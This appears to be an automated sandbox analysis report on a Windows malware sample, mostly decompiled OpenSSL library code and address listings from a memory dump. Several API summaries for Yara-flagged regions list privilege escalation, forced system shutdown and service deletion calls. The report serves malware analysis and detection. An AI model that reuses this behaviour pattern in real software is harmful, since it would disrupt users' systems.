                          								_t209 = E6D4C2430(_t184, ".\\crypto\\rsa\\rsa_oaep.c", 0x55);
                          								_t222 = _t220 + 0xc;
                          								 *(_t222 + 0x10) = _t209;
                          								__eflags = _t209;
                          								if(__eflags != 0) {
                          									_push( *((intOrPtr*)(_t222 + 0x28)));
                          									_push(_t194);
                          									_push( *((intOrPtr*)(_t222 + 0x1c)));
                          									_push(_t184);
                          									_push(_t209);
                          									_t107 = E6D4E1290(_t158, _t175, _t209);
                          									_t223 = _t222 + 0x14;
                          									__eflags = _t107;
                          									if(_t107 < 0) {
                          										L38:
                          										E6D4C23B0(_t209);
                          										_t220 = _t223 + 4;
                          										goto L39;
                          									} else {
                          										_t145 = 0;
                          										__eflags = _t184;
                          										if(_t184 > 0) {
                          											_t175 =  *((intOrPtr*)(_t223 + 0x1c));
                          											__eflags = _t184 - 0x20;
                          											if(_t184 >= 0x20) {
                          												_t40 = _t209 - 1; // -1
                          												_t158 = _t175 - 1 + _t184;
                          												__eflags = _t175 - _t40 + _t184;
                          												if(_t175 > _t40 + _t184) {
                          													L15:
                          													_t126 = _t184 & 0x8000001f;
                          													__eflags = _t126;
                          													if(_t126 < 0) {
                          														_t126 = (_t126 - 0x00000001 | 0xffffffe0) + 1;
                          														__eflags = _t126;
                          													}
                          													_t158 = _t184 - _t126;
                          													 *((intOrPtr*)(_t223 + 0x24)) = _t209 - _t175;
                          													_t127 = _t175;
                          													_t43 = _t209 + 0x10; // 0x10
                          													 *((intOrPtr*)(_t223 + 0x20)) = _t43;
                          													_t194 =  *(_t223 + 0x18);
                          													do {
                          														asm("movdqu xmm0, [eax]");
                          														_t127 = _t127 + 0x20;
                          														asm("movdqu xmm1, [eax+ebp-0x20]");
                          														asm("pxor xmm1, xmm0");
                          														asm("movdqu [eax-0x20], xmm1");
                          														asm("movdqu xmm1, [edx+ebx]");
                          														_t145 = _t145 + 0x20;
                          														asm("movdqu xmm0, [eax-0x10]");
                          														asm("pxor xmm1, xmm0");
                          														asm("movdqu [eax-0x10], xmm1");
                          														__eflags = _t145 - _t158;
                          													} while (_t145 < _t158);
                          													_t209 =  *(_t223 + 0x10);
                          													_t175 =  *((intOrPtr*)(_t223 + 0x1c));
                          												} else {
                          													__eflags = _t158 - _t209;
                          													if(_t158 < _t209) {
                          														goto L15;
                          													}
                          												}
                          											}
                          											__eflags = _t145 - _t184;
                          											if(_t145 < _t184) {
                          												_t166 = _t145 + _t175;
                          												 *(_t223 + 0x18) = _t209;
                          												_t213 = _t209 - _t175;
                          												_t178 = _t184 - _t145;
                          												__eflags = _t178;
                          												do {
                          													_t122 =  *((intOrPtr*)(_t166 + _t213));
                          													_t166 = _t166 + 1;
                          													 *(_t166 - 1) =  *(_t166 - 1) ^ _t122;
                          													_t178 = _t178 - 1;
                          													__eflags = _t178;
                          												} while (_t178 != 0);
                          												_t209 =  *(_t223 + 0x10);
                          											}
                          										}
                          										_push( *((intOrPtr*)(_t223 + 0x28)));
                          										_push(_t184);
                          										_push( *((intOrPtr*)(_t223 + 0x24)));
                          										_push(_t194);
                          										_push(_t223 + 0x38);
                          										_t110 = E6D4E1290(_t158, _t175, _t209);
                          										_t223 = _t223 + 0x14;
                          										__eflags = _t110;
                          										if(_t110 < 0) {
                          											goto L38;
                          										} else {
                          											_t176 = 0;
                          											__eflags = _t194;
                          											if(_t194 > 0) {
                          												_t147 =  *((intOrPtr*)(_t223 + 0x14));
                          												__eflags = _t194 - 0x20;
                          												if(_t194 >= 0x20) {
                          													_t163 = _t147 - 1 + _t194;
                          													__eflags = _t147 - _t223 + _t194 + 0x33;
                          													if(_t147 > _t223 + _t194 + 0x33) {
                          														L29:
                          														_t117 = _t194 & 0x8000001f;
                          														__eflags = _t117;
                          														if(_t117 < 0) {
                          															_t117 = (_t117 - 0x00000001 | 0xffffffe0) + 1;
                          															__eflags = _t117;
                          														}
                          														_t165 = _t194 - _t117;
                          														_t118 = _t147;
                          														_t212 = _t223 + 0x44 - _t147;
                          														__eflags = _t212;
                          														 *(_t223 + 0x18) = _t212;
                          														_t209 =  *(_t223 + 0x10);
                          														do {
                          															asm("movdqu xmm0, [eax]");
                          															_t176 = _t176 + 0x20;
                          															_t118 = _t118 + 0x20;
                          															asm("movdqu xmm1, [edi+eax-0x20]");
                          															asm("pxor xmm1, xmm0");
                          															asm("movdqu [eax-0x20], xmm1");
                          															asm("movdqu xmm0, [eax-0x10]");
                          															asm("movdqu xmm1, [ebx+eax-0x20]");
                          															asm("pxor xmm1, xmm0");
                          															asm("movdqu [eax-0x10], xmm1");
                          															__eflags = _t176 - _t165;
                          														} while (_t176 < _t165);
                          														_t147 =  *((intOrPtr*)(_t223 + 0x14));
                          													} else {
                          														__eflags = _t163 - _t223 + 0x34;
                          														if(_t163 < _t223 + 0x34) {
                          															goto L29;
                          														}
                          													}
                          												}
                          												__eflags = _t176 - _t194;
                          												if(_t176 < _t194) {
                          													_t187 = _t223 + 0x34 - _t147;
                          													_t161 = _t176 + _t147;
                          													_t197 = _t194 - _t176;
                          													__eflags = _t197;
                          													do {
                          														_t114 =  *((intOrPtr*)(_t161 + _t187));
                          														_t161 = _t161 + 1;
                          														 *(_t161 - 1) =  *(_t161 - 1) ^ _t114;
                          														_t197 = _t197 - 1;
                          														__eflags = _t197;
                          													} while (_t197 != 0);
                          												}
                          											}
                          											E6D4C23B0(_t209);
                          											_pop(_t185);
                          											_pop(_t196);
                          											_pop(_t146);
                          											__eflags =  *(_t223 + 0x68) ^ _t223 + 0x00000004;
                          											return E6D51FED0(_t146,  *(_t223 + 0x68) ^ _t223 + 0x00000004, _t176, _t185, _t196);
                          										}
                          									}
                          								} else {
                          									E6D4C3670(_t143, _t175, _t184, __eflags, 4, 0xa0, 0x41, ".\\crypto\\rsa\\rsa_oaep.c", 0x57);
                          									_pop(_t190);
                          									_pop(_t201);
                          									_pop(_t149);
                          									__eflags =  *(_t222 + 0x78) ^ _t222 + 0x00000014;
                          									return E6D51FED0(_t149,  *(_t222 + 0x78) ^ _t222 + 0x00000014, _t175, _t190, _t201);
                          								}
                          							}
                          						}
                          					} else {
                          						E6D4C3670(_t141, _t175, _t182, __eflags, 4, 0xa0, 0x78, ".\\crypto\\rsa\\rsa_oaep.c", 0x40);
                          						_pop(_t191);
                          						_pop(_t202);
                          						_pop(_t150);
                          						__eflags =  *(_t219 + 0x78) ^ _t219 + 0x00000014;
                          						return E6D51FED0(_t150,  *(_t219 + 0x78) ^ _t219 + 0x00000014, _t175, _t191, _t202);
                          					}
                          				} else {
                          					E6D4C3670(_t141, _t175, _t182, _t234, 4, 0xa0, 0x6e, ".\\crypto\\rsa\\rsa_oaep.c", 0x3a);
                          					_pop(_t192);
                          					_pop(_t203);
                          					_pop(_t151);
                          					return E6D51FED0(_t151,  *(_t219 + 0x78) ^ _t219 + 0x00000014, _t175, _t192, _t203);
                          				}
                          			}































































                          0x6d4e1440
                          0x6d4e1445
                          0x6d4e144a
                          0x6d4e1451
                          0x6d4e1459
                          0x6d4e1461
                          0x6d4e1466
                          0x6d4e1476
                          0x6d4e147a
                          0x6d4e1482
                          0x6d4e148d
                          0x6d4e1491
                          0x6d4e1495
                          0x6d4e149b
                          0x6d4e149d
                          0x6d4e14a2
                          0x6d4e14a4
                          0x6d4e14a4
                          0x6d4e14ab
                          0x6d4e14ae
                          0x6d4e14b7
                          0x6d4e14bb
                          0x6d4e14be
                          0x6d4e14c2
                          0x6d4e14c5
                          0x6d4e14c7
                          0x6d4e14cb
                          0x6d4e14cc
                          0x6d4e14ce
                          0x6d4e14fe
                          0x6d4e1500
                          0x6d4e152f
                          0x6d4e1533
                          0x6d4e1535
                          0x6d4e153c
                          0x6d4e153f
                          0x6d4e1541
                          0x6d4e1543
                          0x6d4e1546
                          0x6d4e1547
                          0x6d4e154e
                          0x6d4e1552
                          0x6d4e1556
                          0x6d4e155a
                          0x6d4e155f
                          0x6d4e1562
                          0x6d4e1564
                          0x6d4e17bd
                          0x6d4e17c3
                          0x6d4e17c4
                          0x6d4e17c6
                          0x6d4e17c7
                          0x6d4e17d1
                          0x6d4e156a
                          0x6d4e157a
                          0x6d4e157f
                          0x6d4e1591
                          0x6d4e1595
                          0x6d4e159a
                          0x6d4e159b
                          0x6d4e159c
                          0x6d4e15a1
                          0x6d4e15a4
                          0x6d4e15a6
                          0x00000000
                          0x6d4e15ac
                          0x6d4e15ae
                          0x6d4e15bb
                          0x6d4e15bd
                          0x6d4e15c0
                          0x6d4e15c4
                          0x6d4e15c6
                          0x6d4e15f5
                          0x6d4e15f9
                          0x6d4e15fa
                          0x6d4e15fe
                          0x6d4e15ff
                          0x6d4e1600
                          0x6d4e1605
                          0x6d4e1608
                          0x6d4e160a
                          0x6d4e17b4
                          0x6d4e17b5
                          0x6d4e17ba
                          0x00000000
                          0x6d4e1610
                          0x6d4e1610
                          0x6d4e1612
                          0x6d4e1614
                          0x6d4e161a
                          0x6d4e161e
                          0x6d4e1621
                          0x6d4e1627
                          0x6d4e162f
                          0x6d4e1631
                          0x6d4e1633
                          0x6d4e1639
                          0x6d4e163b
                          0x6d4e163b
                          0x6d4e1640
                          0x6d4e1646
                          0x6d4e1646
                          0x6d4e1646
                          0x6d4e164b
                          0x6d4e164f
                          0x6d4e1653
                          0x6d4e1655
                          0x6d4e165c
                          0x6d4e1660
                          0x6d4e1670
                          0x6d4e1670
                          0x6d4e1674
                          0x6d4e1677
                          0x6d4e167d
                          0x6d4e1681
                          0x6d4e1686
                          0x6d4e168b
                          0x6d4e168e
                          0x6d4e1693
                          0x6d4e1697
                          0x6d4e169c
                          0x6d4e169c
                          0x6d4e16a0
                          0x6d4e16a4
                          0x6d4e1635
                          0x6d4e1635
                          0x6d4e1637
                          0x00000000
                          0x00000000
                          0x6d4e1637
                          0x6d4e1633
                          0x6d4e16a8
                          0x6d4e16aa
                          0x6d4e16ac
                          0x6d4e16af
                          0x6d4e16b3
                          0x6d4e16b7
                          0x6d4e16b7
                          0x6d4e16c0
                          0x6d4e16c0
                          0x6d4e16c3
                          0x6d4e16c6
                          0x6d4e16c9
                          0x6d4e16c9
                          0x6d4e16c9
                          0x6d4e16cc
                          0x6d4e16cc
                          0x6d4e16aa
                          0x6d4e16d0
                          0x6d4e16d8
                          0x6d4e16d9
                          0x6d4e16dd
                          0x6d4e16de
                          0x6d4e16df
                          0x6d4e16e4
                          0x6d4e16e7
                          0x6d4e16e9
                          0x00000000
                          0x6d4e16ef
                          0x6d4e16ef
                          0x6d4e16f1
                          0x6d4e16f3
                          0x6d4e16f9
                          0x6d4e16fd
                          0x6d4e1700
                          0x6d4e1709
                          0x6d4e170b
                          0x6d4e170d
                          0x6d4e1717
                          0x6d4e1719
                          0x6d4e1719
                          0x6d4e171e
                          0x6d4e1724
                          0x6d4e1724
                          0x6d4e1724
                          0x6d4e172b
                          0x6d4e1733
                          0x6d4e1735
                          0x6d4e1735
                          0x6d4e1737
                          0x6d4e173b
                          0x6d4e1743
                          0x6d4e1743
                          0x6d4e1747
                          0x6d4e174a
                          0x6d4e174d
                          0x6d4e1753
                          0x6d4e1757
                          0x6d4e175c
                          0x6d4e1761
                          0x6d4e1767
                          0x6d4e176b
                          0x6d4e1770
                          0x6d4e1770
                          0x6d4e1774
                          0x6d4e170f
                          0x6d4e1713
                          0x6d4e1715
                          0x00000000
                          0x00000000
                          0x6d4e1715
                          0x6d4e170d
                          0x6d4e1778
                          0x6d4e177a
                          0x6d4e1780
                          0x6d4e1782
                          0x6d4e1785
                          0x6d4e1785
                          0x6d4e1787
                          0x6d4e1787
                          0x6d4e178a
                          0x6d4e178d
                          0x6d4e1790
                          0x6d4e1790
                          0x6d4e1790
                          0x6d4e1787
                          0x6d4e177a
                          0x6d4e1794
                          0x6d4e17a1
                          0x6d4e17a2
                          0x6d4e17a4
                          0x6d4e17a9
                          0x6d4e17b3
                          0x6d4e17b3
                          0x6d4e16e9
                          0x6d4e15c8
                          0x6d4e15d8
                          0x6d4e15e2
                          0x6d4e15e3
                          0x6d4e15e5
                          0x6d4e15ea
                          0x6d4e15f4
                          0x6d4e15f4
                          0x6d4e15c6
                          0x6d4e15a6
                          0x6d4e1502
                          0x6d4e1512
                          0x6d4e151c
                          0x6d4e151d
                          0x6d4e151f
                          0x6d4e1524
                          0x6d4e152e
                          0x6d4e152e
                          0x6d4e14d0
                          0x6d4e14e0
                          0x6d4e14ea
                          0x6d4e14eb
                          0x6d4e14ed
                          0x6d4e14fc
                          0x6d4e14fc

                          APIs
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _memmove_memset
                          • String ID: .\crypto\rsa\rsa_oaep.c
                          • API String ID: 3555123492-3887057465
                          • Opcode ID: d018e3c0a92c8b6f62428c19062b5529bb7c9e7f00b84d04d95367a020d30c6b
                          • Instruction ID: f58ce3822f73e295de8f1b31df704bc190b88e3cd050fb8d23aaa6c7bd85da6e
                          • Opcode Fuzzy Hash: d018e3c0a92c8b6f62428c19062b5529bb7c9e7f00b84d04d95367a020d30c6b
                          • Instruction Fuzzy Hash: E5B12276A483455FD710DF28C881F6EBBE1BFD8785F440A2DE68997342EB319904C792
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,029A1970), ref: 029A6513
                            • Part of subcall function 029A5174: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5189
                            • Part of subcall function 029A5174: GetProcessHeap.KERNEL32(?,029A37CE,00000000,50C2440F,5A036A02,00000000,?,?,029A3C3F,?,?), ref: 029A5198
                          • CryptBinaryToStringW.CRYPT32(00000000,00000000,40000000,00000000,029A1970), ref: 029A653C
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: BinaryCryptHeapString$CreateProcess
                          • String ID:
                          • API String ID: 869147093-0
                          • Opcode ID: 2a0b98aae872448f1bf494851ea0c7f4b7e91eb0b444cecfd16148a6ea924cc5
                          • Instruction ID: 4c3a443efeda385fcc8a2a54f3d713567ad25499a6ebe0d1b80a9cb1da01bf37
                          • Opcode Fuzzy Hash: 2a0b98aae872448f1bf494851ea0c7f4b7e91eb0b444cecfd16148a6ea924cc5
                          • Instruction Fuzzy Hash: 95F04F32B003196BDF219E69DC58EAB3BADEF81AA0F054435FD09C6110D731D920CBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                            • Part of subcall function 029A7C36: RtlAdjustPrivilege.NTDLL(029A3E1B,00000001,00000001,?), ref: 029A7C49
                            • Part of subcall function 029A7C36: RtlAdjustPrivilege.NTDLL(029A3E1B,00000001,00000000,00000000), ref: 029A7C65
                          • NtShutdownSystem.NTDLL(00000001), ref: 029A5C9C
                          • ExitWindowsEx.USER32(00000012,00010000), ref: 029A5CAB
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: AdjustPrivilege$ExitShutdownSystemWindows
                          • String ID:
                          • API String ID: 698229158-0
                          • Opcode ID: 90a85be9e49d6a1f8fd856e80ca06f5bcdb7d249b16b06e6c779fc8a47765475
                          • Instruction ID: c4bde5b2fa6d6fe9c4d2308e96aa9bda00dc76cdbcdd08f8217783eba689d1ed
                          • Opcode Fuzzy Hash: 90a85be9e49d6a1f8fd856e80ca06f5bcdb7d249b16b06e6c779fc8a47765475
                          • Instruction Fuzzy Hash: 46D0A730AC030DABEF2127D5F92ABE4376CDB04769F014015F60C580C08BE280D094F1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          APIs
                          • DeleteService.ADVAPI32(029A5E2E,?,029A5E2E,00000000,?,?,?,029A62C8,?,00000001,00000000,?,029A368A), ref: 029A5DAF
                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: DeleteService
                          • String ID:
                          • API String ID: 700001626-0
                          • Opcode ID: 011b89c5a91323a3ead3bd2c89c2318adf779870023c571de5491c2645c549f0
                          • Instruction ID: 9005aa4412aadbd04badc31ce309bba67c73d5295c87de51b7783ff00ec72c73
                          • Opcode Fuzzy Hash: 011b89c5a91323a3ead3bd2c89c2318adf779870023c571de5491c2645c549f0
                          • Instruction Fuzzy Hash: BAB012309DC10EAF8F021FB5EC05C743F5DF701651B001631F80EC6090DA2298204580
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Memory Dump Source
                          • Source File: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, Offset: 029A0000, based on PE: false
                          Yara matches
                          Similarity
                          • API ID: time$Time$BeginPeriodSleep
                          • String ID:
                          • API String ID: 4118631919-0
                          • Opcode ID: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
                          • Instruction ID: 893f68ccf9f3f21213981dbf4ea75de2a1eece3620e0e78d3abd3a468d865efc
                          • Opcode Fuzzy Hash: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
                          • Instruction Fuzzy Hash: 6F112771E103251EDF589E7D48A049EBFFFEEC5264B1D8779D824E3282D631880886C0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 74%
                          			E6D52017C(void* __eax, void* __ebx) {
                          				intOrPtr _t5;
                          				intOrPtr _t6;
                          				intOrPtr _t7;
                          				intOrPtr _t8;
                          				void* _t9;
                          				void* _t14;
                          				void* _t24;
                          				intOrPtr* _t25;
                          				signed int _t26;
                          				signed int _t27;
                          
                          				_t14 = __ebx;
                          				__imp__DecodePointer( *0x6d582bf0);
                          				_t25 =  *0x6d580cfc;
                          				_t24 = __eax;
                          				if(_t25 != 0) {
                          					while( *_t25 != 0) {
                          						E6D51FF0B( *_t25);
                          						_t25 = _t25 + 4;
                          						if(_t25 != 0) {
                          							continue;
                          						}
                          						break;
                          					}
                          					_t25 =  *0x6d580cfc;
                          				}
                          				_push(_t14);
                          				E6D51FF0B(_t25);
                          				_t26 =  *0x6d580cf8;
                          				 *0x6d580cfc = 0;
                          				if(_t26 != 0) {
                          					while( *_t26 != 0) {
                          						E6D51FF0B( *_t26);
                          						_t26 = _t26 + 4;
                          						if(_t26 != 0) {
                          							continue;
                          						}
                          						break;
                          					}
                          					_t26 =  *0x6d580cf8;
                          				}
                          				E6D51FF0B(_t26);
                          				 *0x6d580cf8 = 0;
                          				E6D51FF0B( *0x6d580cf4);
                          				_t5 = E6D51FF0B( *0x6d580cf0);
                          				_t27 = _t26 | 0xffffffff;
                          				 *0x6d580cf4 = 0;
                          				 *0x6d580cf0 = 0;
                          				if(_t24 != _t27 &&  *0x6d582bf0 != 0) {
                          					_t5 = E6D51FF0B(_t24);
                          				}
                          				__imp__EncodePointer(_t27);
                          				 *0x6d582bf0 = _t5;
                          				_t6 =  *0x6d581a28; // 0x0
                          				if(_t6 != 0) {
                          					E6D51FF0B(_t6);
                          					 *0x6d581a28 = 0;
                          				}
                          				_t7 =  *0x6d581a2c; // 0x0
                          				if(_t7 != 0) {
                          					E6D51FF0B(_t7);
                          					 *0x6d581a2c = 0;
                          				}
                          				_t8 =  *0x6d57e544; // 0xf95fa0
                          				asm("lock xadd [eax], esi");
                          				if(_t27 == 1) {
                          					_t8 =  *0x6d57e544; // 0xf95fa0
                          					if(_t8 != 0x6d57e320) {
                          						_t9 = E6D51FF0B(_t8);
                          						 *0x6d57e544 = 0x6d57e320;
                          						return _t9;
                          					}
                          				}
                          				return _t8;
                          			}













                          0x6d52017c
                          0x6d520184
                          0x6d52018a
                          0x6d520190
                          0x6d520194
                          0x6d520196
                          0x6d52019d
                          0x6d5201a3
                          0x6d5201a6
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d5201a6
                          0x6d5201a8
                          0x6d5201a8
                          0x6d5201ae
                          0x6d5201b0
                          0x6d5201b5
                          0x6d5201bd
                          0x6d5201c6
                          0x6d5201c8
                          0x6d5201ce
                          0x6d5201d4
                          0x6d5201d7
                          0x00000000
                          0x00000000
                          0x00000000
                          0x6d5201d7
                          0x6d5201d9
                          0x6d5201d9
                          0x6d5201e0
                          0x6d5201eb
                          0x6d5201f1
                          0x6d5201fc
                          0x6d520201
                          0x6d520204
                          0x6d52020d
                          0x6d520215
                          0x6d520220
                          0x6d520225
                          0x6d520227
                          0x6d52022d
                          0x6d520232
                          0x6d520239
                          0x6d52023c
                          0x6d520242
                          0x6d520242
                          0x6d520248
                          0x6d52024f
                          0x6d520252
                          0x6d520258
                          0x6d520258
                          0x6d52025e
                          0x6d520263
                          0x6d520269
                          0x6d52026b
                          0x6d520277
                          0x6d52027a
                          0x6d520280
                          0x00000000
                          0x6d520280
                          0x6d520277
                          0x6d520288

                          APIs
                          • DecodePointer.KERNEL32(?,00000001,6D51FC2C,6D55B9C8,00000008,6D51FD63,?,00000001,?,6D55B9E8,0000000C,6D51FD02,?,00000001,?), ref: 6D520184
                          • _free.LIBCMT ref: 6D52019D
                            • Part of subcall function 6D51FF0B: HeapFree.KERNEL32(00000000,00000000,?,6D524ECE,00000000,?,?,?,00000000,?,6D526270,00000018,6D55BCE0,00000008,6D5261BD,?), ref: 6D51FF1F
                            • Part of subcall function 6D51FF0B: GetLastError.KERNEL32(00000000,?,6D524ECE,00000000,?,?,?,00000000,?,6D526270,00000018,6D55BCE0,00000008,6D5261BD,?,?), ref: 6D51FF31
                          • _free.LIBCMT ref: 6D5201B0
                          • _free.LIBCMT ref: 6D5201CE
                          • _free.LIBCMT ref: 6D5201E0
                          • _free.LIBCMT ref: 6D5201F1
                          • _free.LIBCMT ref: 6D5201FC
                          • _free.LIBCMT ref: 6D520220
                          • EncodePointer.KERNEL32(?), ref: 6D520227
                          • _free.LIBCMT ref: 6D52023C
                          • _free.LIBCMT ref: 6D520252
                          • _free.LIBCMT ref: 6D52027A
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
                          • String ID: Wm
                          • API String ID: 3064303923-1384386914
                          • Opcode ID: 96d29d7dde2f29820cc52b9522b4f6ae06148b5d8347eb99ce5e837c4b426d1d
                          • Instruction ID: 09df720e4f3b534ec6e0cce71db1454aa769eee4c8a87d1fdd0f8d4522f37017
                          • Opcode Fuzzy Hash: 96d29d7dde2f29820cc52b9522b4f6ae06148b5d8347eb99ce5e837c4b426d1d
                          • Instruction Fuzzy Hash: 8121A23794B6328FEF194F2EDC90A1977B1AB47722317182BEA1097E88CB705C45CB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 92%
                          			E6D4C2A20(void* __ebx, void* __edx, void* __edi, void _a4, char _a259, signed int _a260, wchar_t* _a268, void _a272) {
                          				long _v0;
                          				void* __esi;
                          				signed int _t20;
                          				int _t39;
                          				void* _t53;
                          				void* _t55;
                          				signed int _t56;
                          				signed int _t57;
                          
                          				_t54 = __edi;
                          				_t53 = __edx;
                          				_t44 = __ebx;
                          				E6D51FEE0(0x108);
                          				_t20 =  *0x6d57db60; // 0xa6c7de91
                          				_a260 = _t20 ^ _t56;
                          				_t55 = GetStdHandle(0xfffffff4);
                          				if(_t55 == 0 || GetFileType(_t55) == 0) {
                          					vswprintf( &_a4, 0xff, _a268,  &_a272);
                          					_t57 = _t56 + 0x10;
                          					_a259 = 0;
                          					if(E6D4C28E0(_t44) <= 0) {
                          						MessageBoxA(0,  &_a4, "OpenSSL: FATAL", 0x10);
                          						goto L7;
                          					} else {
                          						_t55 = RegisterEventSourceA(0, "OpenSSL");
                          						if(_t55 == 0) {
                          							L7:
                          							return E6D51FED0(_t44, _a260 ^ _t57, _t53, _t54, _t55);
                          						} else {
                          							_v0 =  &_a4;
                          							ReportEventA(_t55, 1, 0, 0, 0, 1, 0,  &_v0, 0);
                          							DeregisterEventSource(_t55);
                          							return E6D51FED0(_t44, _a260 ^ _t57, _t53, _t54, _t55);
                          						}
                          					}
                          				} else {
                          					_t39 = vswprintf( &_a4, 0x100, _a268,  &_a272);
                          					_t40 =  <  ? 0x100 : _t39;
                          					WriteFile(_t55,  &_a4,  <  ? 0x100 : _t39,  &_v0, 0);
                          					return E6D51FED0(__ebx, _a260 ^ _t56 + 0x00000010, _t53, __edi, _t55);
                          				}
                          			}











                          0x6d4c2a20
                          0x6d4c2a20
                          0x6d4c2a20
                          0x6d4c2a25
                          0x6d4c2a2a
                          0x6d4c2a31
                          0x6d4c2a41
                          0x6d4c2a45
                          0x6d4c2ac0
                          0x6d4c2ac5
                          0x6d4c2ac8
                          0x6d4c2ad7
                          0x6d4c2b39
                          0x00000000
                          0x6d4c2ad9
                          0x6d4c2ae6
                          0x6d4c2aea
                          0x6d4c2b3f
                          0x6d4c2b54
                          0x6d4c2aec
                          0x6d4c2af2
                          0x6d4c2b08
                          0x6d4c2b0f
                          0x6d4c2b2a
                          0x6d4c2b2a
                          0x6d4c2aea
                          0x6d4c2a52
                          0x6d4c2a6b
                          0x6d4c2a81
                          0x6d4c2a8b
                          0x6d4c2aa6
                          0x6d4c2aa6

                          APIs
                          • GetStdHandle.KERNEL32(000000F4,00000000,6D4C2B76,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,6D4C18E6,.\crypto\evp\evp_enc.c,000000F0,EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv),?,?,6D57EE60), ref: 6D4C2A3B
                          • GetFileType.KERNEL32(00000000,?,?,6D57EE60), ref: 6D4C2A48
                          • WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,6D57EE60), ref: 6D4C2A8B
                          • vswprintf.LIBCMT ref: 6D4C2A6B
                            • Part of subcall function 6D520926: __vsnprintf_l.LIBCMT ref: 6D520937
                          • vswprintf.LIBCMT ref: 6D4C2AC0
                          • RegisterEventSourceA.ADVAPI32(00000000,OpenSSL), ref: 6D4C2AE0
                          • ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 6D4C2B08
                          • DeregisterEventSource.ADVAPI32(00000000), ref: 6D4C2B0F
                          • MessageBoxA.USER32 ref: 6D4C2B39
                          Strings
                          Memory Dump Source
                          • Source File: 00000001.00000002.919027749.000000006D4C1000.00000020.00020000.sdmp, Offset: 6D4C0000, based on PE: true
                          • Associated: 00000001.00000002.918996220.000000006D4C0000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919083251.000000006D532000.00000002.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919104865.000000006D55D000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919132267.000000006D55E000.00000008.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919163173.000000006D57C000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919183462.000000006D581000.00000004.00020000.sdmp Download File
                          • Associated: 00000001.00000002.919207765.000000006D583000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: Event$FileSourcevswprintf$DeregisterHandleMessageRegisterReportTypeWrite__vsnprintf_l
                          • String ID: OpenSSL$OpenSSL: FATAL
                          • API String ID: 365571034-4224901669
                          • Opcode ID: b22f88b4406b388f8300b580c755bbf8fad5928d460e7a6c598355f3888f15d0
                          • Instruction ID: d4eaf5ab64f25ecb05442a0a15cc800f3e29e8d7e0821ddd4ed89964f305ef5c
                          • Opcode Fuzzy Hash: b22f88b4406b388f8300b580c755bbf8fad5928d460e7a6c598355f3888f15d0
                          • Instruction Fuzzy Hash: DC318679608711ABFB34DB24CC45FFB77A8AF84700F420419F689D66C0EFB4994486A3
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 39%
                          			E6D4CD959(void* __ebx, void* __edx, void* __edi, intOrPtr __esi) {
                          				intOrPtr* _t79;
                          				void* _t134;
                          				void* _t139;
                          				void* _t140;
                          				void* _t141;
                          				intOrPtr _t142;
                          				void* _t143;
                          				void* _t144;
                          				intOrPtr _t145;
                          				signed int _t146;
                          				void* _t148;
                          
                          				_t142 = __esi;
                          				_t140 = __edi;
                          				_t139 = __edx;
                          				while(1) {
                          					L3:
                          					E6D51FEE0(8);
